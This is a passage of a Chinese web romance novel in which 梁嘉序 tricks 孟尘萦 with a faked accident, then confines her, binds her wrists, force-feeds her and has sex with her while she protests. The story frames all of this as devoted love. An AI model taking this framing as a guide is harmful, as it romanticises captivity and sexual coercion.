她可以直接坐车回璟兰园,但因为很少能有机会这样独自闲逛。 一时不想上车。 司机也没有打扰她。 有几个小男孩抱着篮球在街边打闹,险些撞到她手上提着的蛋糕,孟尘萦担心蛋糕被撞碎,便往里头,沿着店面那条路走。 电话震动的动静,把孟尘萦从忽飘的思绪里拉了回来。 她从口袋里掏出手机,来电是一串陌生号码。 她按下接听,那边迫不及待问她是不是孟尘萦。 孟尘萦说是的,问对方有什么事。 男人语气急切说:“我是周初皓的领导,我姓阮,下午我派周初皓外出办事,他……” 孟尘萦微微蹙眉:“他怎么了?” 阮总哽咽道:“周初皓出了车祸,非常严重,现在被送医院来了,他昏迷之前说只想再见你一面,你要是方便的话,能来医院看一下他吗?” 孟尘萦脸色一白:“你先告诉我是哪家医院。” 对方报了医院名,孟尘萦提着蛋糕,直接拦下路边一辆车。 前往医院。 从接到电话到现在,她都觉得心跳的很快。 即使她和周初皓已经分手,也回不到幼时的情谊,但他在她心里的分量还是没变,始终是幼时很照顾她的邻家哥哥。 出了这么严重的事,她不可能不去看他。 半个小时内赶到医院,天色已然暗沉。 孟尘萦匆忙下车,手中的蛋糕盒子不慎擦到车门,里边儿的蛋糕歪歪扭扭,奶油被刮掉了一层。 她顾不上那么多,提着已经被损坏的蛋糕,一路朝急诊病房行去。 她跑得很快。 风从嘴唇灌进她喉咙里,心跳加速。 按照阮总的提示,孟尘萦轻松找到了周初皓住的病房。 她匆匆忙赶到,推开门。 病房的那张床四周拉上了帘子。 孟尘萦浑身发冷…… 站在帘子外,她心情无比沉重。 刚才从阮总那得知,周初皓伤得很重,很重…… 怎么会…… 难道她来晚了? 孟尘萦红着眼,指尖都在发抖,深呼吸一口气拉开帘子。 下一秒。 映入眼帘的是,梁嘉序冷沉的面容。 在看到孟尘萦的那一眼起,他眼里的黯色彻底被搅得天翻地覆。 孟尘萦堆积在眼眶的泪,在看到梁嘉序的那一秒,倏然滑落。 怎么会是梁嘉序? 梁嘉序视线从她含着泪的眼眶,再缓缓挪到她手里的那盒蛋糕上。 他轻抬眼眸,冷厉逼人的面容浮现凉薄的笑意:“孟尘萦,一个小小的测试,倒是能轻易测出,你心里真正在意的人是谁。” 孟尘萦后知后觉,呢喃问:“你联合别人骗我?” 所以周初皓根本没有出车祸! 她被梁嘉序玩弄了。 怒气涌上心头,懒得跟他在周旋,孟尘萦愤怒下转身要跑。 这时病房的门从外面被关上,她的手腕被梁嘉序猛地攥住。 梁嘉序身躯从容压来:“今天是他生日,这个蛋糕是为他买的?” 孟尘萦睁着湿润的眼睛,冷声道:“是又怎样?关你什么事?” 梁嘉序眼里的冷冽似淬了寒霜:“这一天对你而言,只是你前男友的生日,对吗? 他凉凉的勾唇:“孟尘萦,我不会再信你了。” 孟尘萦往后退,声线紧绷:“你想干嘛?” 梁嘉序直接把她扛了起来,她手中的那盒蛋糕也随着她腾空而起的动作,哐当倒地,里面的蛋糕体,在盒子里翻滚到不成型。 “梁嘉序,你放我下来!” 梁嘉序喉咙里缓慢溢出森冷的语调:“从今天起,你休想再离开璟兰园半步。” “我说到做到。” 他上次说了,她要再敢跑。 他就会把她关在璟兰园,把她绑在他们的床上,让她从今往后只能看他,接触他。 让她的世界里,只有他。 孟尘萦脸色惨白,惊悚的尖叫卡在喉咙里。 第43章 第 43 章 “萦萦,把你送给我。”…… 窗外, 月影西斜。 孟尘萦再睁眼醒来时,暗沉的室内除了床头灯还点着微弱的光,半个人影都没有。 偌大的床, 只有她一人。 她坐在床头,看了眼时钟。 二十二点整。 还有两个小时,梁嘉序的生日就要过去了。 从医院被梁嘉序带回来为止, 他一句话都未曾跟她说,只把她关在卧室里, 夺走她的手机,夺走她一切能跟外界取得联系的通讯设备。 还有—— 孟尘萦望着自己两只手腕上系着的绳子。 绳子另一头捆在床头两侧。 他这次没有吓唬她, 是跟她来真的。 她应该闹吗? 像往常一样, 闹几下,哭着装可怜让他心软吗? 她可以再用那些老方法, 再次讨得梁嘉序的欢心和信任,可她不愿意这样做了。 从他在医院把她带回来这样对待起, 她再也没必要跟他没完没了的拉扯下去。 孟尘萦泄气地坐在床头发呆。 直到目光被书桌上她的手机吸引了注意。 梁嘉序把她的手机就这样放在桌上, 她要是拿到了就可以取得外界的联络了。 孟尘萦一下被激发起斗志, 从床上落地,盘算着绳子的长度能不能够到那张桌子。 她努力尝试了几下, 发现拿到手机还是有不短的距离。 梁嘉序就这样把手机放在她能看到的地方, 便是知道, 即使放在她眼前,她也拿不到是吗? 他好像从来都是掌控局势。 从他们在京市见面起,他便总是轻而易举的让她没办法拒绝他的要求,后来,他拆散她的姻缘,设计让她主动去找他低头。 他所做的一切, 对他而言不过只是他轻飘飘的一句话。 而他便是那样,轻松便摧毁了,搅乱了她平凡的人生。 眼下只是一个手机而已,她都拿不到吗? 她不信。 即使绳子的距离不够,她还是努力朝着书桌那走去。 纤细的手腕,渐渐被绳子勒出了红痕。 这条绳子是特殊材质,勒在手腕上不会疼,可一旦用力地这样拉扯,身上还是会受伤。 孟尘萦心里堵着气,恨着,怨着,把这段时间受到的所有欺辱和委屈化作动力,全部都赌在了这段短短的距离里。 她几乎是以伤害自己身体的方式,强行往书桌那过去。 眼看着,左手的手腕被拉扯到,由红至白。 已经超过了她能支撑的程度。 还差一点,就差一点点,她就要拿到手机了。 就在这时—— 卧室的门被缓缓推开,走道没有点灯,门口那,只能看到一具晦暗的身形,周身气场骇人。 梁嘉序进卧室时,便看到这样的一幕。 即使手腕被绳子圈住,孟尘萦也不顾自己的身体,不顾疼痛,奋力去夺得书桌上的手机。 雪白的肌肤在黑暗下极其晃眼。 她那块被绳子绑起来的地方,几乎要拉扯出一圈血痕。 梁嘉序心一沉,大步过来,把她拉入怀里。 孟尘萦奋力在他怀里挣扎。 梁嘉序虎口扣住她下颌,固住她行动:“你想把手废了?” 脸庞被他这样用力抬起,下一秒,一串串泪珠砸在他的手背。 梁嘉序垂眸。 怀里的女孩泪流满面,那双水盈盈的眸子里含着怨恨,死死瞪着他:“梁嘉序,解开我的绳子,把手机还给我!” 梁嘉序把她扛到床上,她胡乱挣扎,他倾身压过来,握住她刚才被用力拉扯的手腕,就着床头灯光细细给她检查。 好在绳子是粗的,拉扯过留下红痕,也没有细绳子那样有割裂的伤口。 孟尘萦用力把手腕往回抽,不给他看。 这次生气比任何时候还要严重,看他的眼神里是浓烈的怨恨。 恨惨他的那种。 梁嘉序垂眸扫视她倔强的脸庞,她冷冰冰怒视他,在无声地与他做斗争。 最终,他率先移开目光,去把屋内的灯点亮,取了医药箱过来。 他在医药箱里找到了消肿的喷雾,握住孟尘萦的手腕。 她不肯给他,又把手抽开。 他伸手再夺。 两人这样她躲他追,闹了有好几分钟。 梁嘉序没兴致陪她再闹下去,把绳子解开后,直接把人锁在自己怀里。 一只手扣住她纤细的手腕,用喷雾给被勒伤的部位喷药。 气体喷洒的声音,随着泪珠一滴滴滑落。 梁嘉序手中动作顿僵,垂眸看她。 她的泪,好像永远都流不完。 从医院回来到现在,便一直在哭。 孟尘萦吸了吸鼻子,有气无力地说:“我真的受够了。” “你什么时候才肯放过我?” 梁嘉序松开她那只喷过药的手,语气冷淡:“告诉我为什么。” 孟尘萦睁着湿红的眸子看他:“我们这样互相折磨下去,还有什么意思?你觉得我还没放下周初皓,特地设计测试我,现在测试出这个结果,满意了吗?” “把我带回来关起来,拿绳子绑住我,对,你的确有办法可以把我的人困在你的身边,但梁嘉序,你这样做,我只会恨你。” 她眼神坚定,冷声说:“我会恨你,永远。” 梁嘉序缓慢地提唇笑,面上云淡风轻:“那又怎样?” 恨死下去,他也不会放手。 孟尘萦已经失去跟他谈判的能力,她知道,没人能说服梁嘉序。 他也完全不在意她恨不恨他。 他根本就没有心。 不知道痛。 消肿药难闻的气味在两人之间缠绕,孟尘萦忽然有一种想呕吐的感觉,不知道是不是看到梁嘉序才不舒服。 她背过身,索性不看他。 梁嘉序盯着她单薄的背:“我不绑着你,刚回来那会你闹得太厉害了,情绪波动太大,不用这个办法你不会老实休息。” 孟尘萦垂眸,不语。 他看了眼时间,二十二点十五分。 “很晚了,想吃点儿什么?” 孟尘萦还是没理他,他自个儿下决定,“煮点海鲜粥,喜欢吗?” 他知道她喜欢的。 她没什么胃口的时候,一般都会想吃点儿清淡的清粥。 他这样问,不过是想得到她微乎其微的回应。 即使知道,她已经不再想跟他说话。 果不其然,孟尘萦还是当没听见。 梁嘉序便又再次自行下决断,他将她轻柔地抱了起来,下了一楼。 – 海鲜粥早就已经备好了,这会儿还温热地摆在餐桌前。 梁嘉序给她舀了小半碗,把她圈在怀里,像喂孩子似的,将粥亲自喂到她唇瓣。 她不肯喝。 嘴巴都不肯张开。 梁嘉序很有耐心,“吃点儿,晚上没吃怎么睡得着?” 孟尘萦瞥开眼神,视线追着在猫窝那睡觉的几只猫身上,即使已经饥肠辘辘,却还是半点儿食物都不肯沾。 为了能让她吃点东西,梁嘉序哄了将近二十分钟。 海鲜粥热了两回,已经彻底成了糊糊。 佣人第三次把热好的海鲜粥端上来时,梁嘉序脸色一沉,吩咐道:“再重新去煮一份。” 磨到快二十三点左右,又端上来一份重新煮好的海鲜粥。 对于饥饿的人而言,面前摆着这样的美食,绝对称得上是份极致的诱惑,但孟尘萦全程都能做到半点都不被吸引。 她是真的什么都吃不下去,分明已经大半天没吃东西了,却半点都没什么胃口。 僵持了半晌,两人都没让步。 梁嘉序也没再让人准备新的海鲜粥了,他隔着瓷碗摸了摸刚端上来的那份,已经温热了,直接喂下去不会烫着她。 他从来是个乐于付诸行动的人,有了这想法,自然是开始实行。 于是,就在孟尘萦还在放空的时候,梁嘉序已经用虎口掐着她下颌,强迫她把嘴巴张开。 他舀了一勺不烫的粥,强行喂了进去。 带着诱人的海鲜味和软糯的口感,海鲜粥一瞬间进入口腔,孟尘萦脸色一变,直接把粥吐了出来。 梁嘉序用碟子接住。 她又吐,他便又强行喂,这样来回几遭多少也能把海鲜粥喂点进她肚子里。 如此反复多次。 梁嘉序眸色一沉,轻描淡写道:“你不是说不喜欢浪费粮食,孟尘萦,你要闹可以,再这样下去,我有得是精力陪你闹。” 孟尘萦身子一僵,刚喂进来的那勺粥,吐也不是。 犹豫很久,还是咽下。 她的确没办法跟梁嘉序斗,他连让她吃东西都很有办法。 孟尘萦也不想跟他闹了,觉得挺没意思的,挣扎着从他怀里下来,她自顾自舀了一碗,慢吞吞喝了起来。 她坐在那儿,只顾着喝碗里的清粥。 她分明已经在吃饭了,梁嘉序的脸色却愈发的沉。 她从没这样过。 头几次即便再生气,也只会反驳他,或者是骂他,这次她彻底做到了将他无视。 视为空气。 一碗粥轻松下肚。 孟尘萦本就小鸟胃,一下便吃饱了。 刚才闹腾一番,她的衣服都沾了不少黏糊糊的海鲜粥,梁嘉序直接拉着她回卧室洗漱。 浴室门口,她僵住不肯再进,“我自己会洗,不需要你。” 结果还是,梁嘉序强行把她扒光丢进浴池里,最后再折腾一番出来,她实在气得不行了。 她被抛到床上,睡裙凌乱散开,里边儿是什么也没穿。 孟尘萦在柔软的床铺打了个滚,后背抵在床头,正要爬起来时,一道阴影兜头罩下。 梁嘉序的脖子上有几道明显的指痕。 是刚才在浴池里,她抓的。 孟尘萦凶巴巴怒视他,“我讨厌你!” “梁嘉序,我讨厌死你了。” “你拿周初皓测试我,到底想证明什么?你还不如直接问我的想法,我可以很明确的告诉你,你在我心里,永远比不上周初皓带给我的影响。” “我讨厌死你,永远讨厌你!” 梁嘉序舌尖低住腮帮子,脖颈那被她抓伤的位置还火辣辣的,但此刻他胸腔在不断翻涌。 眼前的女孩骨子里是烈的,像只暴怒的小野猫,她偏是这样愤怒反抗,他便越彻底想要她成为他的人,永远困在他身边。 让她□□上,永远都离不开他 这样最好,让她明白,被他梁嘉序看上的人,没那么容易逃脱。 他轻笑一声,眼底微微泛着红血丝,神色异常,偏执又疯癫:“讨厌我,那就继续讨厌我下去,我总有办法让你永远都离不开我。” “孟尘萦,让我们彻底融合。” “和你最讨厌的人。” 孟尘萦惊恐地往后退,手腕忽然被捉住。 梁嘉序扯过床上他随手丢下的领带,把她两只手腕捆绑起来举过头顶。 她难受到扭着身躯,奋力挣扎。 梁嘉序倾身压来,盯着她惨白的小脸:“今天是我生日,还有一小时这天就过去了。” “萦萦,把你当做生日礼物送给我,好吗?” 孟尘萦僵硬地看向他。 这是梁嘉序第一次这样亲密地唤她小名。 孟尘萦眼尾滑落泪珠,故意气他:“这天对我来说,永远只是周初……” 她这句话还没说完,梁嘉序眸色霎时便沉了下去,眸里黑暗的最深处散发着令人惊心胆战的噬骨煞气。 与平时的冷冽全然不同,脸上的神情已变,几乎被逼出埋藏已久的阴暗面。 孟尘萦惊了一瞬,剩下的话被堵住。 只见下一秒,梁嘉序结实有劲儿的手扣上她的大腿,把她腿盘上自己的腰间。 她眼睫慌张颤动。 “嗯?永远只记得这天属于周初皓?” 被他弄的,孟尘萦身上沁满了湿湿粉粉的一层,她克制地压抑住低.喘的声音。 梁嘉序用了狠劲,手指骨紧掐她细腰:“那我将把你的记忆彻底改写,让你永远只记得,这一天是属于我们的。” “你,也只能是我的。” 孟尘萦崩溃大哭,身子软又抖,愤愤反驳:“我是我自己的,不是你的……” 梁嘉序低声喘,用力往里抵,她后背按在床头上,双手被领带固定,浑身又红又湿。 “梁嘉序……” 她喊出这三个字都很艰难。 梁嘉序眸色压下来:“你是我的。” 孟尘萦气息破碎:“才不是!我是我自己的!” 梁嘉序亲吻她汗液涔涔的鬓角,低声命令:“叫出来,你很舒服。” 孟尘萦紧咬着唇瓣,细碎的声调被她强行堵在嗓子眼。 她倔强地瞪着他,一言不发。 梁嘉序微垂眼眸,压抑住眼底的疯狂,耐心的,温柔的,哄她:“别犟了,我能感受到你现在有多舒服。” 他们现在是最近的距离,没人比她清楚她身体的变化。 孟尘萦把脸一撇。 泪珠不断滚落,呜咽着哭腔,偶尔挤出骂他的话。 他又塞进去点儿,吻住她的朵儿,声音又喘又冷:“嗯,舒服么?” 她泪水滚滚,终是艰难的,发出让他满足的声音。 梁嘉序喟叹,泛红的眼将她锁住:“还想更舒服点儿么?” 孟尘萦脸挪过来,愤恨地瞪着他。 梁嘉序掀眸,充血似的眼里在暗流涌动,看出她眼里表达的意思,他笑着又稳稳地抱紧她。 孟尘萦弓着腰,被绑起来的两只手腕被他按墙上,她腰身一挺,被迫往他面前靠近:“梁嘉序,你无耻!” 他眉梢微挑,偏要更无耻的,恶劣至极地吻住她锁骨:“睁开眼往下看。” 孟尘萦湿润的睫毛在不住颤抖,微微睁着一条小缝,看不清明。 梁嘉序把脸蹭在她颈窝,温柔的声线一点点诱惑她:“萦萦,看看我们。” “就一眼,嗯?” “我,我不……”她声音嘶哑,手指按在他宽肩上,他用了多狠的劲儿,她便说了多狠的话。 “我会永远讨厌在你生日这天,让我认识了你。” 梁嘉序眸色一沉,汹涌的煞气在眼底疯狂翻搅,他感觉浑身血液都在沸腾。 全身上下都在叫嚣着,永远占有她。 让她再也生不出离开他的想法。 他掀起汗水沾湿的眼睫看向墙壁挂着的时钟。 剩余十分钟他的生日就要过去了。 “很可惜啊,孟尘萦,在我生日这天,你还是我的。”梁嘉序冷笑着,用力握住她的腰。 孟尘萦哭着尖叫出来,浑身都在抖,身上每一处的肌肤都是通红的,是真的要受不住了。 他心生怜惜,本想放开她,转而又想起她刚才说的那些话。 眸色骤然狠戾。 “不是说我们身体不合称?这不挺合你的?做到这样,缠着要我,我怎么退的出来?” 孟尘萦哭着抽搐一阵,最后泻力之前,用力狠狠地咬住了他的脖子。 尖锐的牙齿似乎深陷进他的肉里。 她舔到血腥味。 “我恨你!” 梁嘉序不痛不痒,侧过头吻住她耳垂。 “随你,那就这样恨下去。” 只要留在他身边就行。 第44章 第 44 章 “我有多喜欢你,你不知…… 卧室的灯点了一整晚。 孟尘萦半掩着眸, 目光一直看着梁嘉序脖侧的咬痕,鲜血尚未干涸,他是半点都不觉得疼, 反而笑着用指腹擦拭被她咬伤的部位。 将他脖侧流下的血,喂进她嘴里。 孟尘萦呜咽着推开,他薄唇覆下来堵住, 撬开她的唇与她勾缠。 血腥味在他们唇齿间弥漫。 变态,梁嘉序。 这是孟尘萦最后那点清醒下, 说出的那句话。 深夜,万籁俱寂时分。 孟尘萦浑浑噩噩, 意识不太清醒时, 感觉梁嘉序还在她身旁。 最后,睡着, 她手腕垂在床沿,又被他捉来吻住。 一点点, 将她手腕皮肤再度吻红。 把他的气息黏在她的肌肤上, 似乎想透过肌肤, 彻底钻进她的血液里,与她融合。 她闭着眼, 睡觉都在流泪。 迷糊间, 感觉有人吻住她的泪珠, 把她抱去了浴室。 等再睁眼醒来,已到了午时。 孟尘萦感觉眼皮都沉甸甸的,连抬起来都费劲,她半睁着眼。 屋内暗沉,遮光窗帘没有拉开,通过墙上挂着的时钟, 她才能确定现在的时间。 中午三点半。 梁嘉序也不在。 孟尘萦费劲坐起身,平息了下气息,可掀被落地的那一刻,腿还轻微在发颤。 她站着缓了好一会儿,才去浴室洗漱。 等再从浴室里出来时,梁嘉序已经回来了。 他像什么事都没发生,如往常那样,过来搂住她,问她休息的怎样。 没有得到回应,他也没说什么,只是抱着她下楼去吃饭。 下午三点,也不知是吃午饭,还是晚饭了。 桌上摆满了孟尘萦爱吃的食物。 可她半点儿胃口都没有,梁嘉序为她夹了一块看起来极其诱人的排骨放在她干净碟子上,见她没动作,“想我像昨晚那样喂你吃?” 孟尘萦垂眸,没一会儿,便自己拿起筷子,慢条斯理地吃了起来。 她醒来那会本不饿的,现在食物进入嘴里,才回过神来,她好像已经快一天没有这样好好的吃过饭了。 梁嘉序眉梢一挑,对她的听话感到有丝意外。 他给她盛了碗汤,她也喝完了。 饭吃完,孟尘萦就抱着猫回了二楼。 她眼里似乎根本看不到身旁的梁嘉序,真正做到了把他视为空气。 望着她上楼的纤细背影,梁嘉序只能无奈地笑。 看来这次把人彻底惹怒了。 回了卧室,孟尘萦把遮光窗帘拉开,窗户打开,通风。 将整个卧室里,她和梁嘉序的味道散去。 她抱着猫站在阳台吹风。 思绪有点飘飘然,这样僵着了不知多久,连怀里的草莓都呆不下去,一跃往下跳,回了卧室。 孟尘萦追着猫出去。 草莓已经不见了踪影,她的视线忽然被桌上那盒已经损坏的蛋糕所吸引。 梁嘉序还是让人把她的蛋糕带了回来。 那是她昨天特地买给他的生日蛋糕。 可她现在觉得,梁嘉序不配得到这个蛋糕。 她把那盒已经碎到稀烂的蛋糕,扔进了垃圾桶。 盯着垃圾桶里的蛋糕盒,她仍是觉得不解气。 满腔的愤怒与委屈,好像都凝聚在这个不该买的蛋糕上面。 她真是个傻子,竟然还给他买生日蛋糕,还打算给他准备生日惊喜? 他不配。 孟尘萦含泪把蛋糕拿出来,气愤下,直接丢在地板上疯狂踩了几脚。 她踩的时候,眼前似乎浮现昨天在医院看到梁嘉序的画面。 还有昨晚的种种。 他怎么可以那样欺负她。 怎么可以。 她的泪水一滴滴从眼尾滑落,砸至地面,跟已经泥泞的蛋糕体混为一团。 她发誓,她永远都不会告诉梁嘉序,这个生日蛋糕是她特地买给他的。 他根本不配- 孟尘萦下楼看电影,梁嘉序正好在一楼开视屏会议,听见楼上传来脚步声,他微微掀眸,视线随着孟尘萦挪动。 孟尘萦看也没看他,很巧妙地避开能进入视频会议里的镜头,找了个角落看电影。 视频会议进展的极其顺利,会议过半,梁嘉序却逐渐不耐烦,长指搭在领口,解开几颗纽扣,淡声道:“下周香港的慈善晚宴我会亲自去,等回来再商榷。” 会议结束,梁嘉序轻飘飘扫了眼坐在角落里,抱着抱枕在看电影的孟尘萦。 女孩穿着一身素白的泡泡袖睡裙,锁骨雪白,身段柔软,质地轻软若雾的裙摆呈花瓣状,层层叠叠堆在她身侧,衬得腰细如柳。 她就坐在那,侧脸线条流畅,眼眸盈盈若星河,即使在阴暗的角落处,那股清冷柔和的气质仍是最抓人心。 多好的女孩,漂亮善良,时常对身旁的人笑脸相迎,唯独看到他时,总是吝啬自己的笑容。 从昨晚起,孟尘萦一句话都没跟他说。 思及此,梁嘉序心里没由来,更加烦躁,长指用力一扯,松散的领口露出大片冷白的胸膛。 他扫了眼在他腿边眯着睡的猫,一手提起猫的后脖颈,眼神轻抬,示意。 猫猫叫了几声,他一撒手,猫就蹦到孟尘萦怀里去了。 孟尘萦愣了会儿,托着麦芽糖的脑袋问:“怎么了?想吃猫条?” 麦芽糖又喵喵一叫,脑袋往侧前方拱。 孟尘萦不明所以,朝着麦芽糖的方向望去,冷不防对上梁嘉序冷峻的面容,她下意识皱了皱眉,又把目光移开。 “麦芽糖,你刚吃完午饭,不能再吃了,自己玩去。” 她少见的严肃,对猫猫的撒娇置若罔闻,直接把猫放下,对麦芽糖引领她去找梁嘉序也当没看见。 她早就知道了,梁嘉序曾经学过怎么驯服小动物,所以他家后院那只凶残无比的猎犬才会对他俯首称臣,就连她的猫,一开始那么惧怕他,到现在也完全听他的话。 气氛在空气中凝结成霜。 梁嘉序眸色猛然一沉。 孟尘萦正在看电影,忽然感觉有一道阴影靠近,侧眸望过去,身躯忽然被扑倒在沙发上,梁嘉序把她压在身下,半边脸晦暗不明。 “还要跟我冷战到什么时候?” “嗯?”梁嘉序恶狠狠道:“猫都派上场了也能当没看见,孟尘萦,你的心可真狠。” 孟尘萦仰着脸看他,又把脸一撇,闭上眼。 她现在连开口说,要他放她回去,把手机还给她这种话都不提了。 知道他不会答应,她也懒得费唇舌。 梁嘉序气极反笑,掐着她下颌问:“这么喜欢周初皓?不过就是拿他测试一下你也能气成这样,当初你会为了周初皓跟我低头,是不是没有他,我们还不能在一起?” 孟尘萦被迫直视他眼睛。 看着他那双像会吃人的眼,轻声且坚定道:“是。” 她看到梁嘉序眼里的光一点点凝聚成冰,“你不是心里很清楚吗?如果没有初皓哥哥,我们不可能认识,也不可能在一起。” “我一直在等你什么时候玩腻我,到那时,我就可以自由了,梁嘉序,这是我的心里话。” 梁嘉序沉默了良久。 期间孟尘萦也没说话,就这样静静与他对视着。 她不怕梁嘉序吗? 怕的。 她最怕人的就是他。 他宠她,疼她,哄她,可同样也会欺负她,打压她,他们的关系不是平等的,也不是正常的情侣关系。 她从来不知道梁嘉序的底线在哪儿。 昨晚闹成那样,她几乎把生平学习到的那些难听话全部都用在了梁嘉序身上,就连刚才,她把自己真心话也说了出来。 在生日测试她这事之前。 他们的关系有在好转,梁嘉序在试着尊重她,她也在尝试放下以往那些芥蒂好好跟他交往。 可自昨晚过后,一切都变了。 她现在敢说出这些真心话,已经没有为自己留退路的打算。 梁嘉序骨子里是个很骄傲的人。 她当他面说他不如周初皓,他绝对无法容忍。 果不其然,他眼神逐渐变了,松开她,坐起身。 衬衫衣领凌乱敞开,露出胸前几道抓痕。 梁嘉序歪着头,动作慢条斯理解开余下几枚纽扣,那双暗沉的眸色,一点点从她的胸脯,从她的腰,再滑至大腿。 色.气且下流,目光坦荡且直接。 这种眼神孟尘萦也很少见,她一瞬间忽然意识到。 原来从前的梁嘉序在她面前,还是有点人性的。 现在的他才真的不是人了。 “行啊,玩。” 他缓慢勾唇,黑衣墨发显得凌厉性感,动作矜贵散漫,整个人透着平静且疯癫感。 “把你玩腻了,再丢了你,行啊,满足你的要求。” 孟尘萦轻颤眼睫,呼吸不动声色收紧。 他站起身,过高的身量像座越不过的冰山,单臂把孟尘萦扛起来放肩膀上,阔步行上二楼。 孟尘萦紧紧抓着他,胸口不断乱跳,紧咬着牙不肯出声。 回了房间,梁嘉序直接把她抛至床上,屈膝上.床,单手解开最后一颗纽扣。 他微微一笑,像没有人性的斯文败类。 “继续睡,睡腻了,就放你走。” “孟尘萦,这是你说的话。” 他冷冷地注视她微微发颤的肩膀:“我满足你的心愿。” 他捉住她的脚踝往怀里拽,阴沉的声线毫不客气落至她耳畔。 “老子有的是精力陪你玩。” “跟你耗死在床上也行。” – 他膝盖抵住她双腿。 灼热的吻铺天盖地。 孟尘萦胸口一颤一颤,被他吻到浑身发红,她艰难地睁着湿润的眸子。 下一瞬间,对上梁嘉序泛着红血丝的眼。 他眼里波涛汹涌如深海,将她反复翻搅。 她莫名感觉喉咙像被扼住,他欺身靠近,将她按在床头上,声线阴冷,恶冽:“喜欢我这样对你吗?” 孟尘萦闭着眼,屏住呼吸。 梁嘉序虎口掌控她下颌,逼迫她睁开眼睛,“好好看看我是怎么玩你的。” 他右手摸到床头柜的手机,翻开几个不知何时被拉进去的群聊。 群里的人大多都是他组局时,眼巴巴贴过的那些公子哥,他名字都不记得几个。 梁嘉序掰着孟尘萦的脸,强行让她看手机屏幕,他随手点开一个群聊。 99+未读消息。 孟尘萦泪眼婆娑,被迫看他不断滑动群聊记录。 这个群聊里面十几个人,大多都是京圈的一些公子哥。 都是男人。 而那些男人所聊的那些内容,几乎都是女人。 甚至不少男的,在群里发布一些跟自己女友亲密做.爱的视频,以及偷拍女友换衣洗澡的照片,或是裸.聊截图。 均没有打码。 那些视频和图片下,是滑不完的污言秽语。 孟尘萦呼吸一促。 她慌张避开视线,可即使,那些男人恶心的话还是不断进入她的眼睛里,钻进她的脑海里。 她想吐。 那些男人,恶心得让她想吐。 他们把女朋友,把女性当什么了?怎么能在私底下这样羞辱自己的女朋友!怎么能把女朋友当货物,这样跟兄弟分享? 孟尘萦泪水簌簌,为女性,也为那些深陷情爱不知真相的女孩。 梁嘉序的虎口还扣在她下巴那,掌心堆满了她滚烫的泪珠,他气息沉沉洒落。 “我要是真玩你,孟尘萦,你觉得现在只会出现在我的床上?” “男人要是玩你,你的大尺度视频会出现在他的兄弟群里传播,你的三围会出现在男人的谈资里,你会毫无尊严,像供他们取乐的小丑,人前对你笑脸相迎,人后交换你的小视频。” “我要是真在玩你,还能把你保护的这么好?嗯?” “我要是真在玩你,至于对你这样费尽心思?” 他眼眶泛红,一点点勾勒她脸庞轮廓,想看清她面上神情,可惜女孩颤巍巍避开他视线,不肯看他。 他心脏疼得骤缩。 陌生的刺痛感将他无限裹挟。 眼尾那抹湿润一路弥漫,他往前一抵,抱着她紧紧贴近。 掌心还用力掐着她细腰,低沉嘶哑,压迫却又哀求的声线,落在她耳畔: “我有多么喜欢你,你不知道?” 第45章 第 45 章 “我不想怀孕。”…… 又是一天睁眼醒来时, 已至下午。 从昨晚到早上,孟尘萦已经累的连爬起来喝水的力气都没了。 她感觉浑身软趴趴,湿漉漉的, 小腹处似乎还鼓鼓囊囊,不知是幻觉还是什么,隐约觉得, 梁嘉序还在她身体里没出去。 不,不是幻觉。 他的确是那么无耻。 在她身体里, 直到天亮才出去。 刚从浴池里被捞起来抱回床上,孟尘萦渴得喉咙里冒烟似的难受, 她呜咽了声, 想从床上爬起来喝水,身旁男人似察觉到什么, 掀被落地,接了杯温水递给她。 孟尘萦抬起软若无骨的手, 深呼吸, 眼睫低垂。 正要接过水杯。 梁嘉序坐过去揽着她腰, 随后把那杯温水灌进她嘴里。 喝过水,休息没一会, 梁嘉序便抱着她下楼吃饭。 她伏在他怀里, 被他圈在臂弯处, 他喂什么,她便张嘴吃什么。 这几天都是这样过来的。 他喂她吃饭,喝水,洗澡,做,如此反复, 上床再做,醒来再吃饭,喝水,洗澡。 他们除了在床上时,孟尘萦实在承受不住他发狠的力道哭着骂他几句之外,再也没有任何交流。 喝完最后一口鲜鸡汤。 孟尘萦忽然开口:“我不想怀孕。” 梁嘉序淡声:“戴套了。” 孟尘萦垂眸:“哦。” “别你不要孩子,我也不想要。”梁嘉序冰冷的长指搭在她后颈,声线没有起伏,“孩子只会打扰我们的二人世界,还会让你难受,没什么用。” 他也不屑用孩子来把孟尘萦绑在身边,他想要她留下来,有千万种方法。 孟尘萦掀眸看他,“梁嘉序,你不累吗?” 都已经快一周了。 他们除了吃饭睡觉,就是做。 好个荒诞淫.乱的一周。 这一周内,连璟兰园的佣人都被赶了回家,只有饭点有人来做饭,除此之外,这偌大的园子,这几天只有她和梁嘉序两个人。 哦,不对。 还有三只猫,一只猎犬。 “心疼我?”梁嘉序低声笑笑,轻柔地吻她唇角:“一天二十四小时我都嫌短。” 从前还顾忌她感受的时候,再想要也只能亲她抱她纾解,自从得到后,他们之间不再有那道防线,其中滋味,自是比接吻还要痛快万倍。 很多次,梁嘉序似乎能理解那些想要死在床上的人。 从前他对这种事称不上很感兴趣,当然,男人不可能对这方面没想法,他也有,但偶尔来了兴头也顶多自己动手纾解,过去就算了。 像谭延晋那样女人不断,他从没想过,也不稀罕。 一是洁癖,二是心气高傲,不喜欢的,碰一下都嫌恶心。 孟尘萦不同,看到她的第一眼,他便起了心思,再次见面,他也更加确定了对她的想法。 很简单,就是想要她。 孟尘萦拧着眉,毫不客气反驳:“不要脸!我才没心疼你。” 她把脸一撇,不想看他。 梁嘉序又把她脸掰回来,黑眸乌沉沉压下来:“不心疼,那就继续做。” – 午时阳光浓烈,卧室内窗帘没收拢,一缕光线从落地窗前照进卧室。 孟尘萦睁开微肿的眼睛,唇间溢出轻.吟,骨头都酥了,她翻了个身,抱着被子继续睡。 等睡了会儿,才察觉到不对劲。 梁嘉序不在? 她猛然睁开眼,穿好睡裙从床上落地,出门,站在二楼一扫屋内的环境。 偌大的宅子里除了几只猫之外,几乎没有活物。 孟尘萦不明状况下楼。 麦芽糖听到动静便跟了过来,她弯腰抱起麦芽糖前往玄关。 玄关的大门没有锁。 看样子梁嘉序是出门了。 她轻轻推开门,呼吸外面的新鲜空气,但也就在后花园那转了下,随便散散步,活动了会便又回屋了。 璟兰园有专责人看守外面进出的大门,即使别墅的门没锁,她也离不开这座园子。 孟尘萦抱着猫返回屋内。 这时,一楼茶几上放着的手机忽然亮了。 孟尘萦走过去,一看发现是自己的手机。 梁嘉序没有把她手机收起来,直接放在茶几上,难道是昨晚他答应她的那件事? 